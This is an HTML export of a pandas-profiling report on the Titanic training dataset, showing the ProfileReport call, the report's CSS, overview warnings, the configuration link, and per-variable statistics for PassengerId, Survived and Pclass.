<td>1.000000</td>
<td>3.000000</td>
<td>80.000000</td>
<td>8.000000</td>
<td>6.000000</td>
<td>512.329200</td>
</tr>
</tbody>
</table>
</div>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">profile</span> <span class="o">=</span> <span class="n">ProfileReport</span><span class="p">(</span><span class="n">train</span><span class="p">,</span> <span class="n">title</span><span class="o">=</span><span class="s">"Pandas Profiling Report"</span><span class="p">,</span> <span class="n">explorative</span> <span class="o">=</span> <span class="bp">True</span><span class="p">)</span>
<span class="n">profile</span><span class="p">.</span><span class="n">to_notebook_iframe</span><span class="p">()</span>
</code></pre></div></div>
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}
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margin-left: 20px !important;
margin-right: 20px !important;
margin-bottom: 20px;
}
.page-header{
border:0 !important;
}
.row.variable, .section-items > .row {
border: 1px solid #e1e1e8;
border-top: hidden;
}
.row.spacing{
padding: 2em 1em;
}
.row.header {
border-bottom: 1px solid #e1e1e8;
/*background-color: #f5f5f5;*/
padding-left: 2em;
}
.dl-horizontal dt {
text-align: left;
padding-right: 1em;
white-space: normal;
}
.dl-horizontal dd {
margin-left: 0;
}
.col-md-12 {
padding-left: 2em;
}
.indent {
margin-left: 1em;
}
.center-img {
margin-left: auto !important;
margin-right: auto !important;
display: block;
}
/* Table example_values */
table.example_values {
border: 0;
}
.example_values th {
border: 0;
padding: 0;
color: #555;
font-weight: 600;
}
.example_values tr, .example_values td {
border: 0;
padding: 0;
color: #555;
}
/* STATS */
table.stats, table.sample, table.duplicate{
border: 0;
}
.stats tr, .sample tr, .duplicate tr {
border: 0;
}
.stats th, .stats td{
color: #555;
border: 0;
}
.stats th {
padding: 0 2em 0 0;
font-weight: 600;
}
.stats td {
padding: 1px;
}
/* Sample table */
table.sample, table.duplicate{
margin-bottom: 2em;
margin-left: 1em;
}
.sample td, .sample th, .duplicate td, .duplicate th {
padding: 0.5em;
white-space: nowrap;
border: 0;
}
.sample thead, .duplicate thead {
border-top: 0;
border-bottom: 2px solid #ddd;
}
.sample td, .duplicate td {
width: 100%;
}
/* There is no good solution available to make the divs equal height and then center ... */
.histogram {
margin-top: 3em;
}
/* Freq table */
table.freq {
margin-bottom: 2em;
border: 0;
}
table.freq th, table.freq tr, table.freq td {
border: 0;
padding: 0;
}
.freq thead {
font-weight: 600;
white-space: nowrap;
overflow: hidden;
text-overflow: ellipsis;
}
/* Freq mini */
.freq.mini td {
width: 50%;
padding: 1px;
font-size: 12px;
}
table.freq.mini {
width: 100%;
}
.freq.mini th {
overflow: hidden;
text-overflow: ellipsis;
white-space: nowrap;
max-width: 5em;
font-weight: 400;
text-align: right;
padding-right: 0.5em;
}
/* Message classes */
.missing {
color: #a94442;
}
.alert, .alert > th, .alert > td {
color: #a94442;
}
.ignore {
opacity: 0.4;
}
/* Bars in tables */
.freq.table{
table-layout: fixed;
}
.freq:not(.mini) tr td:nth-child(1), .freq:not(.mini) tr th:nth-child(1){
width: auto;
max-width: none;
white-space: nowrap;
overflow: hidden;
text-overflow: ellipsis;
}
.freq:not(.mini) tr td:nth-child(2), .freq:not(.mini) tr td:nth-child(3), .freq:not(.mini) tr th:nth-child(2), .freq:not(.mini) tr th:nth-child(3){
width: 100px;
text-align: right;
}
.freq:not(.mini) tr td:nth-child(4), .freq:not(.mini) tr th:nth-child(4){
width:200px;
}
.freq .bar {
float: left;
width: 0;
height: 100%;
line-height: 20px;
color: #fff;
text-align: center;
background-color: #337ab7;
border-radius: 3px;
margin-right: 4px;
}
.other .bar {
background-color: #999;
}
.missing .bar {
background-color: #a94442;
}
.tooltip-inner {
width: 100%;
white-space: nowrap;
text-align: left;
}
.extrapadding {
padding: 2em;
}
.variable .h4 {
text-overflow: ellipsis;
display:inline-block;
width: calc(90%); /* The trick is here! */
overflow:hidden;
}
.variable.ignore .h4{
text-decoration: line-through;
}
.table-responsive{
overflow: scroll;
width: 100%;
overflow-y: hidden;
}
.img-responsive{
max-width: 99%;
}
.footer-text{
padding:20px;
}
table.list-warnings td{
padding-right:10px;
}
a.anchor-pos {
display: block;
position: relative;
top: -70px;
visibility: hidden;
}
a.anchor-pos-variable{
/*top: -70px;*/
}
#sample-container, #duplicate-container{
overflow: auto;
width: 100%;
overflow-y: hidden;
}
#overview-content td, #overview-content th{
border-top: 0;
line-height: 1;
}
.variable-description{
color: #777;
font-size: 10pt;
margin-top: 10px;
font-style: italic;
}
select.multiple{
width: 180px;
height: 500px;
margin: 10px 0;
}
.named-list-item{
padding: 1em;
}
/* not printing tabs */
@media print {
.tab-content > .tab-pane, .collapse {
display: block !important;
opacity: 1 !important;
visibility: visible !important;
/*page-break-after: always;*/
page-break-after: right;
page-break-before: avoid;
}
.nav-pills, .nav-tabs, button[data-toggle="collapse"], .mini, .col-sm-3 img {
display:none !important;
}
a[download="config.yml"]:after {
content: none !important;
}
.row {
border: 0 !important;
}
}
.text-placeholder {
display: inline-block;
background-color: #444;
height: 12px;
border-radius: 100px;
margin: 5px 0;
min-width: 200px;
opacity: .1;
}</style></head><body><a class=anchor-pos id=top></a><nav class="navbar navbar-default navbar-fixed-top"><div class=container-fluid><div class=navbar-header><button type=button class="navbar-toggle collapsed" data-toggle=collapse data-target=#navbar aria-expanded=false aria-controls=navbar><span class=sr-only>Toggle navigation</span><span class=icon-bar></span><span class=icon-bar></span><span class=icon-bar></span></button><a class="navbar-brand anchor" href=#top>Pandas Profiling Report</a></div><div id=navbar class="navbar-collapse collapse"><ul class="nav navbar-nav navbar-right"><li><a class=anchor href=#overview>Overview</a></li><li><a class=anchor href=#variables>Variables</a></li><li><a class=anchor href=#interactions>Interactions</a></li><li><a class=anchor href=#correlations>Correlations</a></li><li><a class=anchor href=#missing>Missing values</a></li><li><a class=anchor href=#sample>Sample</a></li></ul></div></div></nav><div class=content><div class=container><div class="row header"><a class=anchor-pos id=overview></a><h1 class=page-header>Overview</h1></div><div class=section-items><div class="row spacing"><ul class="nav nav-pills" role=tablist><li role=presentation class=active><a href=#overview-dataset_overview aria-controls=overview-dataset_overview role=tab data-toggle=tab>Overview</a></li><li role=presentation><a href=#overview-warnings aria-controls=overview-warnings role=tab data-toggle=tab>Warnings <span class=badge>14</span></a></li><li role=presentation><a href=#overview-reproduction aria-controls=overview-reproduction role=tab data-toggle=tab>Reproduction</a></li></ul><div class=tab-content style="padding-top: 10px;"><div role=tabpanel class="tab-pane col-sm-12 active" id=overview-dataset_overview><div class=col-sm-6><p class=h4>Dataset statistics</p><table class="table table-condensed stats"><tbody><tr><th>Number of variables</th><td>12</td></tr><tr><th>Number of observations</th><td>891</td></tr><tr><th>Missing cells</th><td>866</td></tr><tr><th>Missing cells (%)</th><td>8.1%</td></tr><tr><th>Duplicate rows</th><td>0</td></tr><tr><th>Duplicate rows (%)</th><td>0.0%</td></tr><tr><th>Total size in memory</th><td>315.0 KiB</td></tr><tr><th>Average record size in memory</th><td>362.1 B</td></tr></tbody></table></div><div class=col-sm-6><p class=h4>Variable types</p><table class="table table-condensed stats"><tbody><tr><th>Numeric</th><td>5</td></tr><tr><th>Categorical</th><td>7</td></tr></tbody></table></div></div><div role=tabpanel class="tab-pane col-sm-12" id=overview-warnings><table class="table table-condensed list-warnings"><p class=h4>Warnings</p><tr style=border-top:0><td><a class=anchor href=#pp_var_-6419369795255643832><code>Name</code></a> has a high cardinality: 891 distinct values </td><td><span class="label label-primary">High cardinality</span></td></tr><tr><td><a class=anchor href=#pp_var_-6759393980720810914><code>Ticket</code></a> has a high cardinality: 681 distinct values </td><td><span class="label label-primary">High cardinality</span></td></tr><tr><td><a class=anchor href=#pp_var_7833447131632814160><code>Cabin</code></a> has a high cardinality: 147 distinct values </td><td><span class="label label-primary">High cardinality</span></td></tr><tr><td><a class=anchor href=#pp_var_-1642777420727046933><code>Age</code></a> has 177 (19.9%) missing values </td><td><span class="label label-info">Missing</span></td></tr><tr><td><a class=anchor href=#pp_var_7833447131632814160><code>Cabin</code></a> has 687 (77.1%) missing values </td><td><span class="label label-info">Missing</span></td></tr><tr><td><a class=anchor href=#pp_var_-2091696498356625691><code>PassengerId</code></a> is uniformly distributed </td><td><span class="label label-primary">Uniform</span></td></tr><tr><td><a class=anchor href=#pp_var_-6419369795255643832><code>Name</code></a> is uniformly distributed </td><td><span class="label label-primary">Uniform</span></td></tr><tr><td><a class=anchor href=#pp_var_-6759393980720810914><code>Ticket</code></a> is uniformly distributed </td><td><span class="label label-primary">Uniform</span></td></tr><tr><td><a class=anchor href=#pp_var_7833447131632814160><code>Cabin</code></a> is uniformly distributed </td><td><span class="label label-primary">Uniform</span></td></tr><tr><td><a class=anchor href=#pp_var_-2091696498356625691><code>PassengerId</code></a> has unique values </td><td><span class="label label-primary">Unique</span></td></tr><tr><td><a class=anchor href=#pp_var_-6419369795255643832><code>Name</code></a> has unique values </td><td><span class="label label-primary">Unique</span></td></tr><tr><td><a class=anchor href=#pp_var_8060475129680382162><code>SibSp</code></a> has 608 (68.2%) zeros </td><td><span class="label label-info">Zeros</span></td></tr><tr><td><a class=anchor href=#pp_var_9179953672643837052><code>Parch</code></a> has 678 (76.1%) zeros </td><td><span class="label label-info">Zeros</span></td></tr><tr><td><a class=anchor href=#pp_var_6740923749893651080><code>Fare</code></a> has 15 (1.7%) zeros </td><td><span class="label label-info">Zeros</span></td></tr></table></div><div role=tabpanel class="tab-pane col-sm-12" id=overview-reproduction><div class=col-sm-12><p class=h4>Reproduction</p><table class="table table-condensed stats"><tbody><tr><th>Analysis started</th><td>2021-05-07 16:49:50.779646</td></tr><tr><th>Analysis finished</th><td>2021-05-07 16:49:58.923014</td></tr><tr><th>Duration</th><td>8.14 seconds</td></tr><tr><th>Software version</th><td><a href=https://github.com/pandas-profiling/pandas-profiling>pandas-profiling v2.12.0</a></td></tr><tr><th>Download configuration</th><td><a download=config.yaml href="data:text/plain;charset=utf-8,title%3A%20Pandas%20Profiling%20Report%0Amemory_deep%3A%20yes%0An_freq_table_max%3A%2010%0An_extreme_obs%3A%2010%0An_obs_unique%3A%2010%0Avars%3A%0A%20%20%20%20image%3A%0A%20%20%20%20%20%20%20%20active%3A%20yes%0A%20%20%20%20%20%20%20%20exif%3A%20yes%0A%20%20%20%20%20%20%20%20hash%3A%20yes%0A%20%20%20%20file%3A%0A%20%20%20%20%20%20%20%20active%3A%20yes%0A%20%20%20%20path%3A%0A%20%20%20%20%20%20%20%20active%3A%20yes%0A%20%20%20%20url%3A%0A%20%20%20%20%20%20%20%20active%3A%20yes%0A%20%20%20%20cat%3A%0A%20%20%20%20%20%20%20%20words%3A%20yes%0A%20%20%20%20%20%20%20%20characters%3A%20yes%0A%20%20%20%20%20%20%20%20length%3A%20yes%0A%20%20%20%20%20%20%20%20cardinality_threshold%3A%2050%0A%20%20%20%20%20%20%20%20n_obs%3A%205%0A%20%20%20%20%20%20%20%20chi_squared_threshold%3A%200.999%0A%20%20%20%20%20%20%20%20coerce_str_to_date%3A%20no%0A%20%20%20%20%20%20%20%20redact%3A%20no%0A%20%20%20%20%20%20%20%20histogram_largest%3A%2050%0A%20%20%20%20num%3A%0A%20%20%20%20%20%20%20%20quantiles%3A%0A%20%20%20%20%20%20%20%20-%200.05%0A%20%20%20%20%20%20%20%20-%200.25%0A%20%20%20%20%20%20%20%20-%200.5%0A%20%20%20%20%20%20%20%20-%200.75%0A%20%20%20%20%20%20%20%20-%200.95%0A%20%20%20%20%20%20%20%20skewness_threshold%3A%2020%0A%20%20%20%20%20%20%20%20low_categorical_threshold%3A%205%0A%20%20%20%20%20%20%20%20chi_squared_threshold%3A%200.999%0A%20%20%20%20bool%3A%0A%20%20%20%20%20%20%20%20n_obs%3A%203%0A%20%20%20%20%20%20%20%20mappings%3A%0A%20%20%20%20%20%20%20%20-%20%5Bt%2C%20f%5D%0A%20%20%20%20%20%20%20%20-%20%5B%27yes%27%2C%20%27no%27%5D%0A%20%20%20%20%20%20%20%20-%20%5By%2C%20n%5D%0A%20%20%20%20%20%20%20%20-%20%5B%27true%27%2C%20%27false%27%5D%0Adataset%3A%0A%20%20%20%20description%3A%20%27%27%0A%20%20%20%20creator%3A%20%27%27%0A%20%20%20%20author%3A%20%27%27%0A%20%20%20%20copyright_holder%3A%20%27%27%0A%20%20%20%20copyright_year%3A%20%27%27%0A%20%20%20%20url%3A%20%27%27%0Avariables%3A%0A%20%20%20%20descriptions%3A%20%7B%7D%0Ainfer_dtypes%3A%20yes%0Ashow_variable_description%3A%20yes%0Apool_size%3A%200%0Aprogress_bar%3A%20yes%0Asort%3A%20None%0Amissing_diagrams%3A%0A%20%20%20%20bar%3A%20yes%0A%20%20%20%20matrix%3A%20yes%0A%20%20%20%20heatmap%3A%20yes%0A%20%20%20%20dendrogram%3A%20yes%0Acorrelations%3A%0A%20%20%20%20pearson%3A%0A%20%20%20%20%20%20%20%20calculate%3A%20yes%0A%20%20%20%20%20%20%20%20warn_high_correlations%3A%20yes%0A%20%20%20%20%20%20%20%20threshold%3A%200.9%0A%20%20%20%20spearman%3A%0A%20%20%20%20%20%20%20%20calculate%3A%20yes%0A%20%20%20%20%20%20%20%20warn_high_correlations%3A%20no%0A%20%20%20%20%20%20%20%20threshold%3A%200.9%0A%20%20%20%20kendall%3A%0A%20%20%20%20%20%20%20%20calculate%3A%20yes%0A%20%20%20%20%20%20%20%20warn_high_correlations%3A%20no%0A%20%20%20%20%20%20%20%20threshold%3A%200.9%0A%20%20%20%20phi_k%3A%0A%20%20%20%20%20%20%20%20calculate%3A%20yes%0A%20%20%20%20%20%20%20%20warn_high_correlations%3A%20no%0A%20%20%20%20%20%20%20%20threshold%3A%200.9%0A%20%20%20%20cramers%3A%0A%20%20%20%20%20%20%20%20calculate%3A%20yes%0A%20%20%20%20%20%20%20%20warn_high_correlations%3A%20yes%0A%20%20%20%20%20%20%20%20threshold%3A%200.9%0Ainteractions%3A%0A%20%20%20%20targets%3A%20%5B%5D%0A%20%20%20%20continuous%3A%20yes%0Acategorical_maximum_correlation_distinct%3A%20100%0Aplot%3A%0A%20%20%20%20image_format%3A%20svg%0A%20%20%20%20dpi%3A%20800%0A%20%20%20%20scatter_threshold%3A%201000%0A%20%20%20%20correlation%3A%0A%20%20%20%20%20%20%20%20cmap%3A%20RdBu%0A%20%20%20%20%20%20%20%20bad%3A%20%27%23000000%27%0A%20%20%20%20missing%3A%0A%20%20%20%20%20%20%20%20cmap%3A%20RdBu%0A%20%20%20%20%20%20%20%20force_labels%3A%20yes%0A%20%20%20%20pie%3A%0A%20%20%20%20%20%20%20%20max_unique%3A%2010%0A%20%20%20%20histogram%3A%0A%20%20%20%20%20%20%20%20x_axis_labels%3A%20yes%0A%20%20%20%20%20%20%20%20bins%3A%2050%0A%20%20%20%20%20%20%20%20max_bins%3A%20250%0Aduplicates%3A%0A%20%20%20%20head%3A%2010%0A%20%20%20%20key%3A%20%27%23%20duplicates%27%0Asamples%3A%0A%20%20%20%20head%3A%2010%0A%20%20%20%20tail%3A%2010%0A%20%20%20%20random%3A%200%0Areject_variables%3A%20yes%0Anotebook%3A%0A%20%20%20%20iframe%3A%0A%20%20%20%20%20%20%20%20height%3A%20800px%0A%20%20%20%20%20%20%20%20width%3A%20100%25%0A%20%20%20%20%20%20%20%20attribute%3A%20srcdoc%0Ahtml%3A%0A%20%20%20%20minify_html%3A%20yes%0A%20%20%20%20use_local_assets%3A%20yes%0A%20%20%20%20inline%3A%20yes%0A%20%20%20%20navbar_show%3A%20yes%0A%20%20%20%20file_name%3A%20None%0A%20%20%20%20style%3A%0A%20%20%20%20%20%20%20%20theme%3A%20None%0A%20%20%20%20%20%20%20%20logo%3A%20%27%27%0A%20%20%20%20%20%20%20%20primary_color%3A%20%27%23337ab7%27%0A%20%20%20%20%20%20%20%20full_width%3A%20no%0A">config.yaml</a></td></tr></tbody></table></div></div></div></div></div><div class="row header"><a class=anchor-pos id=variables></a><h1 class=page-header>Variables</h1></div><div class=section-items><div class="row spacing"><a class="anchor-pos anchor-pos-variable" id=pp_var_-2091696498356625691></a><div class=variable><div class=col-sm-3><p class=h4 title=PassengerId><a href=#pp_var_-2091696498356625691>PassengerId</a><br><small>Real number (&Ropf;<sub>&ge;0</sub>)</small></p><code>UNIFORM</code><br><code>UNIQUE</code><br><p class=variable-description></p></div><div class=col-sm-3><table class="table table-condensed stats"><tbody><tr class=alert><th>Distinct</th><td>891</td></tr><tr class=alert><th>Distinct (%)</th><td>100.0%</td></tr><tr><th>Missing</th><td>0</td></tr><tr><th>Missing (%)</th><td>0.0%</td></tr><tr><th>Infinite</th><td>0</td></tr><tr><th>Infinite (%)</th><td>0.0%</td></tr><tr><th>Mean</th><td>446</td></tr></tbody></table></div><div class=col-sm-3><table class="table table-condensed stats"><tbody><tr><th>Minimum</th><td>1</td></tr><tr><th>Maximum</th><td>891</td></tr><tr><th>Zeros</th><td>0</td></tr><tr><th>Zeros (%)</th><td>0.0%</td></tr><tr><th>Negative</th><td>0</td></tr><tr><th>Negative (%)</th><td>0.0%</td></tr><tr><th>Memory size</th><td>7.1 KiB</td></tr></tbody></table></div><div class=col-sm-3><?xml version="1.0" encoding="utf-8" standalone="no"?><!DOCTYPE svg class="img-responsive center-img"PUBLIC "-//W3C//DTD SVG 1.1//EN"
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</div> 0.1% </td></tr><tr class><td title=592>592</td><td>1</td><td><div class=bar style=width:0.1%> &nbsp; </div> 0.1% </td></tr><tr class><td title=593>593</td><td>1</td><td><div class=bar style=width:0.1%> &nbsp; </div> 0.1% </td></tr><tr class><td title=594>594</td><td>1</td><td><div class=bar style=width:0.1%> &nbsp; </div> 0.1% </td></tr><tr class><td title=595>595</td><td>1</td><td><div class=bar style=width:0.1%> &nbsp; </div> 0.1% </td></tr><tr class=other><td title="Other values (881)">Other values (881)</td><td>881</td><td><div class=bar style=width:100.0%> 98.9% </div></td></tr></tbody></table></div><div role=tabpanel class="tab-pane col-sm-12" id=-2091696498356625691bottom--2091696498356625691extreme_values><div class="row spacing"><ul class="nav nav-tabs" role=tablist><li role=presentation class=active><a href=#-2091696498356625691extreme_values--2091696498356625691firstn aria-controls=-2091696498356625691extreme_values--2091696498356625691firstn role=tab data-toggle=tab>Minimum 5 values</a></li><li role=presentation><a href=#-2091696498356625691extreme_values--2091696498356625691lastn aria-controls=-2091696498356625691extreme_values--2091696498356625691lastn role=tab data-toggle=tab>Maximum 5 values</a></li></ul><div class=tab-content><div role=tabpanel class="tab-pane col-sm-12 active" id=-2091696498356625691extreme_values--2091696498356625691firstn><table class="freq table table-hover table-striped"><thead><tr><td>Value</td><td>Count</td><td>Frequency (%)</td></tr></thead><tbody><tr class><td title=1>1</td><td>1</td><td><div class=bar style=width:100.0%> 0.1% </div></td></tr><tr class><td title=2>2</td><td>1</td><td><div class=bar style=width:100.0%> 0.1% </div></td></tr><tr class><td title=3>3</td><td>1</td><td><div class=bar style=width:100.0%> 0.1% </div></td></tr><tr class><td title=4>4</td><td>1</td><td><div class=bar style=width:100.0%> 0.1% </div></td></tr><tr class><td title=5>5</td><td>1</td><td><div class=bar style=width:100.0%> 0.1% </div></td></tr><tr class><td title=6>6</td><td>1</td><td><div class=bar style=width:100.0%> 0.1% </div></td></tr><tr class><td title=7>7</td><td>1</td><td><div class=bar style=width:100.0%> 0.1% </div></td></tr><tr class><td title=8>8</td><td>1</td><td><div class=bar style=width:100.0%> 0.1% </div></td></tr><tr class><td title=9>9</td><td>1</td><td><div class=bar style=width:100.0%> 0.1% </div></td></tr><tr class><td title=10>10</td><td>1</td><td><div class=bar style=width:100.0%> 0.1% </div></td></tr></tbody></table></div><div role=tabpanel class="tab-pane col-sm-12" id=-2091696498356625691extreme_values--2091696498356625691lastn><table class="freq table table-hover table-striped"><thead><tr><td>Value</td><td>Count</td><td>Frequency (%)</td></tr></thead><tbody><tr class><td title=891>891</td><td>1</td><td><div class=bar style=width:100.0%> 0.1% </div></td></tr><tr class><td title=890>890</td><td>1</td><td><div class=bar style=width:100.0%> 0.1% </div></td></tr><tr class><td title=889>889</td><td>1</td><td><div class=bar style=width:100.0%> 0.1% </div></td></tr><tr class><td title=888>888</td><td>1</td><td><div class=bar style=width:100.0%> 0.1% </div></td></tr><tr class><td title=887>887</td><td>1</td><td><div class=bar style=width:100.0%> 0.1% </div></td></tr><tr class><td title=886>886</td><td>1</td><td><div class=bar style=width:100.0%> 0.1% </div></td></tr><tr class><td title=885>885</td><td>1</td><td><div class=bar style=width:100.0%> 0.1% </div></td></tr><tr class><td title=884>884</td><td>1</td><td><div class=bar style=width:100.0%> 0.1% </div></td></tr><tr class><td title=883>883</td><td>1</td><td><div class=bar style=width:100.0%> 0.1% </div></td></tr><tr class><td title=882>882</td><td>1</td><td><div class=bar style=width:100.0%> 0.1% </div></td></tr></tbody></table></div></div></div></div></div></div></div></div></div><div class="row spacing"><a class="anchor-pos anchor-pos-variable" id=pp_var_193462139072593533></a><div class=variable><div class=col-sm-3><p class=h4 title=Survived><a href=#pp_var_193462139072593533>Survived</a><br><small>Categorical</small></p><p class=variable-description></p></div><div class=col-sm-3><table class="table table-condensed stats"><tbody><tr><th>Distinct</th><td>2</td></tr><tr><th>Distinct (%)</th><td>0.2%</td></tr><tr><th>Missing</th><td>0</td></tr><tr><th>Missing (%)</th><td>0.0%</td></tr><tr><th>Memory size</th><td>50.6 KiB</td></tr></tbody></table></div><div class=col-sm-6><div class="col-sm- collapse in" id=minifreqtable><table class="mini freq"><tr class><th width=50%> 0 </th><td width=50%><div class=bar style=width:100.0% data-toggle=tooltip data-placement=right data-html=true data-delay=500> 549&nbsp; </div></td></tr><tr class><th width=50%> 1 </th><td width=50%><div class=bar style=width:62.3% data-toggle=tooltip data-placement=right data-html=true data-delay=500> 342&nbsp; </div></td></tr></table></div></div><div class="col-sm-12 text-right"><button class="btn btn-default btn-sm" data-toggle=collapse data-target="#bottom-193462139072593533, #minifreqtable193462139072593533" aria-expanded=true aria-controls=collapseExample>Toggle details</button></div><div id=bottom-193462139072593533 class=collapse><div class="row spacing"><ul class="nav nav-tabs" role=tablist><li role=presentation class=active><a href=#193462139072593533bottom-193462139072593533overview aria-controls=193462139072593533bottom-193462139072593533overview role=tab data-toggle=tab>Overview</a></li><li role=presentation><a href=#193462139072593533bottom-193462139072593533string aria-controls=193462139072593533bottom-193462139072593533string role=tab data-toggle=tab>Categories</a></li><li role=presentation><a href=#193462139072593533bottom-193462139072593533word aria-controls=193462139072593533bottom-193462139072593533word role=tab data-toggle=tab>Words</a></li><li role=presentation><a href=#193462139072593533bottom-193462139072593533characters aria-controls=193462139072593533bottom-193462139072593533characters role=tab data-toggle=tab>Characters</a></li></ul><div class=tab-content><div role=tabpanel class="tab-pane col-sm-12 active" id=193462139072593533bottom-193462139072593533overview><div class=row><div class=col-sm-3><p class=h4>Length</p><table class="table table-condensed stats"><tbody><tr><th>Max length</th><td>1</td></tr><tr><th>Median length</th><td>1</td></tr><tr><th>Mean length</th><td>1</td></tr><tr><th>Min length</th><td>1</td></tr></tbody></table></div><div class=col-sm-3><p class=h4>Characters and Unicode</p><table class="table table-condensed stats"><tbody><tr><th>Total characters</th><td>891</td></tr><tr><th>Distinct characters</th><td>2</td></tr><tr><th>Distinct categories</th><td>1 <a title="Unicode categories (click for more information)" href=https://en.wikipedia.org/wiki/Unicode_character_property#General_Category target=_blank><span class="badge pull-right" style=color:#fff;background-color:#337ab7; title="Unicode categories (click for more information)">?</span></a></td></tr><tr><th>Distinct scripts</th><td>1 <a title="Unicode scripts (click for more information)" href=https://en.wikipedia.org/wiki/Script_(Unicode)#List_of_scripts_in_Unicode target=_blank><span class="badge pull-right" style=color:#fff;background-color:#337ab7; title="Unicode scripts (click for more information)">?</span></a></td></tr><tr><th>Distinct blocks</th><td>1 <a title="Unicode blocks (click for more information)" href=https://en.wikipedia.org/wiki/Unicode_block target=_blank><span class="badge pull-right" style=color:#fff;background-color:#337ab7; title="Unicode blocks (click for more information)">?</span></a></td></tr></tbody></table><div class="caption text-center text-muted"> The Unicode Standard assigns character properties to each code point, which can be used to analyse textual variables. </div></div><div class=col-sm-3><p class=h4>Unique</p><table class="table table-condensed stats"><tbody><tr><th>Unique</th><td>0 <span class="badge pull-right" style=color:#fff;background-color:#337ab7; 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aria-controls=193462139072593533unicode-193462139072593533characters role=tab data-toggle=tab>Characters</a></li><li role=presentation><a href=#193462139072593533unicode-193462139072593533categories aria-controls=193462139072593533unicode-193462139072593533categories role=tab data-toggle=tab>Categories</a></li><li role=presentation><a href=#193462139072593533unicode-193462139072593533scripts aria-controls=193462139072593533unicode-193462139072593533scripts role=tab data-toggle=tab>Scripts</a></li><li role=presentation><a href=#193462139072593533unicode-193462139072593533blocks aria-controls=193462139072593533unicode-193462139072593533blocks role=tab data-toggle=tab>Blocks</a></li></ul><div class=tab-content><div role=tabpanel class="tab-pane col-sm-12 active" id=193462139072593533unicode-193462139072593533characters><div class="row named-list-item"><h4>Most occurring characters</h4><table class="freq table table-hover table-striped"><thead><tr><td>Value</td><td>Count</td><td>Frequency (%)</td></tr></thead><tbody><tr class><td title=0>0</td><td>549</td><td><div class=bar style=width:100.0%> 61.6% </div></td></tr><tr class><td title=1>1</td><td>342</td><td><div class=bar style=width:62.3%> 38.4% </div></td></tr></tbody></table></div></div><div role=tabpanel class="tab-pane col-sm-12" id=193462139072593533unicode-193462139072593533categories><div class="row named-list-item"><h4>Most occurring categories</h4><table class="freq table table-hover table-striped"><thead><tr><td>Value</td><td>Count</td><td>Frequency (%)</td></tr></thead><tbody><tr class><td title="Decimal Number">Decimal Number</td><td>891</td><td><div class=bar style=width:100.0%> 100.0% </div></td></tr></tbody></table></div><div class="row named-list-item"><h4>Most frequent character per category</h4><div class=row><div class=col-sm-4><table class="freq table table-hover table-striped"><thead><tr><td>Value</td><td>Count</td><td>Frequency (%)</td></tr></thead><tbody><tr class><td title=0>0</td><td>549</td><td><div class=bar style=width:100.0%> 61.6% </div></td></tr><tr class><td title=1>1</td><td>342</td><td><div class=bar style=width:62.3%> 38.4% </div></td></tr></tbody></table></div></div></div></div><div role=tabpanel class="tab-pane col-sm-12" id=193462139072593533unicode-193462139072593533scripts><div class="row named-list-item"><h4>Most occurring scripts</h4><table class="freq table table-hover table-striped"><thead><tr><td>Value</td><td>Count</td><td>Frequency (%)</td></tr></thead><tbody><tr class><td title=Common>Common</td><td>891</td><td><div class=bar style=width:100.0%> 100.0% </div></td></tr></tbody></table></div><div class="row named-list-item"><h4>Most frequent character per script</h4><div class=row><div class=col-sm-4><table class="freq table table-hover table-striped"><thead><tr><td>Value</td><td>Count</td><td>Frequency (%)</td></tr></thead><tbody><tr class><td title=0>0</td><td>549</td><td><div class=bar style=width:100.0%> 61.6% </div></td></tr><tr class><td title=1>1</td><td>342</td><td><div class=bar style=width:62.3%> 38.4% </div></td></tr></tbody></table></div></div></div></div><div role=tabpanel class="tab-pane col-sm-12" id=193462139072593533unicode-193462139072593533blocks><div class="row named-list-item"><h4>Most occurring blocks</h4><table class="freq table table-hover table-striped"><thead><tr><td>Value</td><td>Count</td><td>Frequency (%)</td></tr></thead><tbody><tr class><td title=ASCII>ASCII</td><td>891</td><td><div class=bar style=width:100.0%> 100.0% </div></td></tr></tbody></table></div><div class="row named-list-item"><h4>Most frequent character per block</h4><div class=row><div class=col-sm-4><table class="freq table table-hover table-striped"><thead><tr><td>Value</td><td>Count</td><td>Frequency (%)</td></tr></thead><tbody><tr class><td title=0>0</td><td>549</td><td><div class=bar style=width:100.0%> 61.6% </div></td></tr><tr class><td title=1>1</td><td>342</td><td><div class=bar style=width:62.3%> 38.4% </div></td></tr></tbody></table></div></div></div></div></div></div></div></div></div></div></div></div></div><div class="row spacing"><a class="anchor-pos anchor-pos-variable" id=pp_var_3008368470557780037></a><div class=variable><div class=col-sm-3><p class=h4 title=Pclass><a href=#pp_var_3008368470557780037>Pclass</a><br><small>Categorical</small></p><p class=variable-description></p></div><div class=col-sm-3><table class="table table-condensed stats"><tbody><tr><th>Distinct</th><td>3</td></tr><tr><th>Distinct (%)</th><td>0.3%</td></tr><tr><th>Missing</th><td>0</td></tr><tr><th>Missing (%)</th><td>0.0%</td></tr><tr><th>Memory size</th><td>50.6 KiB</td></tr></tbody></table></div><div class=col-sm-6><div class="col-sm- collapse in" id=minifreqtable><table class="mini freq"><tr class><th width=50%> 3 </th><td width=50%><div class=bar style=width:100.0% data-toggle=tooltip data-placement=right data-html=true data-delay=500> 491&nbsp; </div></td></tr><tr class><th width=50%> 1 </th><td width=50%><div class=bar style=width:44.0% data-toggle=tooltip data-placement=right data-html=true data-delay=500> 216&nbsp; </div></td></tr><tr class><th width=50%> 2 </th><td width=50%><div class=bar style=width:37.5% data-toggle=tooltip data-placement=right data-html=true data-delay=500> 184&nbsp; </div></td></tr></table></div></div><div class="col-sm-12 text-right"><button class="btn btn-default btn-sm" data-toggle=collapse data-target="#bottom-3008368470557780037, #minifreqtable3008368470557780037" aria-expanded=true aria-controls=collapseExample>Toggle details</button></div><div id=bottom-3008368470557780037 class=collapse><div class="row spacing"><ul class="nav nav-tabs" role=tablist><li role=presentation class=active><a href=#3008368470557780037bottom-3008368470557780037overview aria-controls=3008368470557780037bottom-3008368470557780037overview role=tab data-toggle=tab>Overview</a></li><li role=presentation><a href=#3008368470557780037bottom-3008368470557780037string aria-controls=3008368470557780037bottom-3008368470557780037string role=tab data-toggle=tab>Categories</a></li><li role=presentation><a href=#3008368470557780037bottom-3008368470557780037word aria-controls=3008368470557780037bottom-3008368470557780037word role=tab data-toggle=tab>Words</a></li><li role=presentation><a href=#3008368470557780037bottom-3008368470557780037characters aria-controls=3008368470557780037bottom-3008368470557780037characters role=tab data-toggle=tab>Characters</a></li></ul><div class=tab-content><div role=tabpanel class="tab-pane col-sm-12 active" id=3008368470557780037bottom-3008368470557780037overview><div class=row><div 